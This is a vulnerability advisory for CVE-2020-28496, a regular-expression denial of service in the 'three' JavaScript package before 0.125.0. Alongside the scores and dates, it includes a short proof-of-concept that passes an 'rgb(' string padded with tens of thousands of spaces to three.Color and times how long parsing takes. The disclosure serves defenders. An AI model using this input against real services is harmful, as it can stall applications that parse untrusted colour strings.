CVE-2020-28496
Regular Expression Denial of Service (ReDoS)
- State
- Published
- Severity
- 7.5 High
- Published
- Feb 18, 2021
- Updated
- Sep 17, 2024
- Reserved
- Nov 12, 2020
Description
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
Scores
| CVSS | Score | Vector | Source |
|---|---|---|---|
| 3.1 | 7.5 High | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H | snyk |
Weaknesses
The record names no weakness.
Affected Products
| Product | Versions |
|---|---|
threen/a |
|
References
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